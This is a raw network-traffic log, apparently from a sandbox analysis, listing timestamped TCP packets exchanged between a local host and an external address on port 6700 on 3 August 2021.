Aug 3, 2021 20:41:50.407818079 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.407875061 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.408101082 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413289070 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413331985 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413352966 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.413372993 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413410902 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413438082 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.413520098 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413567066 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413570881 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.413609982 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413662910 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.413691044 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413815975 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413853884 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413878918 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.413892031 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413929939 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.413940907 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.414215088 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.414268970 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.414916039 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.415390968 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.415468931 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.415740967 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.416040897 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.416100979 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.416414022 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.416645050 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.416696072 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.417015076 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.459460974 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.572312117 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.572700024 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.572853088 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.573014975 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.573577881 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.573664904 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.573992968 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.576303005 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.576450109 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.577676058 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.577721119 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.577758074 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.577795029 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.577831984 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.577868938 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.577888012 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.577908993 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.577925920 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.577936888 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.577946901 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.578002930 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.580744028 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.580784082 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.580821037 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.580849886 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.580929995 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.580949068 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.580971956 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.580974102 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.581012964 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.581027985 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.581068039 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.581106901 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.581120014 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.581235886 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.581311941 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.593873024 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.593933105 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.593977928 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.594005108 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.594016075 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.594055891 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.594091892 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.594091892 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.594160080 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.594229937 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.594288111 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.594330072 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.594337940 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.597459078 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597517967 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597532034 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.597559929 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597629070 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.597701073 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597762108 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597800970 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597811937 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.597847939 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597883940 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597906113 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.597922087 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597961903 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.597975016 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.600847006 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.600894928 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.600933075 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.600970030 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.600970984 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.601006985 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.601017952 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.601061106 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.601079941 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.601099014 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.601146936 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.626086950 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.678333998 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.739578009 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.739778042 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.739919901 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.740150928 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.740524054 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.740633965 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.742949009 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.743187904 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.747263908 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.748675108 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.748858929 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.748982906 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.749089003 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.749471903 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.749536991 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.749735117 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.749943972 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.750026941 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.750437975 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.750698090 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.750822067 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.751238108 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.751497984 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.751576900 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.756747961 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.756772995 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.756815910 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.756843090 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.756885052 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.756977081 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.756999969 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.757066011 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.757086992 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.757097006 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.757180929 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.757643938 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.761454105 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.761720896 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.761837959 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.761900902 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.762348890 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.762448072 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.762490988 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.762758970 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.763071060 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.763104916 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.763271093 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.763384104 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.765182018 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.765283108 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.765367031 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.765566111 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.765753984 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.765872955 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.766028881 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.766310930 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.766455889 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.766592026 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.766756058 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.766988039 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.768992901 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.769265890 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.769339085 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.769793987 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.773626089 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.773659945 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.773720026 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.773730993 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.773772955 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.773802996 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.773838997 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.773889065 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.773905039 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.773992062 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.774044991 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.845758915 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.897234917 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.907187939 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.907311916 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.907510996 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.907634020 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.907943964 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.911393881 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.914110899 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.914330959 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.914529085 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.915277004 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.915816069 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.916049957 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.916114092 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.916430950 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.916682959 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.916985989 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.917112112 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.917954922 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.917994976 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.918056011 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.918078899 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.918471098 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.918646097 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.918746948 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.923413992 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.923711061 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.923825026 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.925899982 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.925961971 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.926002026 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.926033974 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.926067114 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.926110029 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.926115036 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.926125050 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.927711010 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.933649063 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.933731079 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.933789968 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.933887005 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.934133053 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.934211969 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.934231043 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.934288025 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.934432030 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.934500933 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.934623957 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.934758902 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.934873104 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.934976101 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.935046911 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.935074091 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.935194969 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.935512066 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.935674906 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.935735941 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.935811043 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.935894966 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.936073065 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.936218023 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.936312914 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.941086054 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.941318035 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.941569090 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.941663027 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.943429947 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.943773031 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.943818092 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.943856001 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.943897009 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.943943024 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.943996906 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.944029093 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.990819931 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.064387083 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.064826012 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.064995050 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.074268103 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.074346066 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.074515104 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.074523926 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.074668884 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.074759960 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.074965954 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.075016975 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.075031996 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.078026056 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.078078985 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.078150034 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.085525990 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.090600967 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.090629101 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.090650082 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.090743065 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.090764999 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.090778112 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.090785027 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.090801954 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.090805054 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.090861082 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.090883970 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.090883017 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.091036081 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.091057062 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.091063023 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.091077089 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.091095924 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.091128111 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.091145039 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.091161013 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.091182947 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.091186047 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.091193914 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.093477011 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.093498945 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.093597889 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.093600988 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.093607903 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.093632936 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.093687057 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.093691111 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.093734026 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.093767881 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.093826056 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.093873024 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.093892097 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.096286058 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.096326113 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.096352100 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.096440077 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.101501942 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101531029 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101557016 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101583958 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101609945 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101655006 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101670980 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.101685047 CEST	6700	49776	185.244.30.23	192.168.2.4
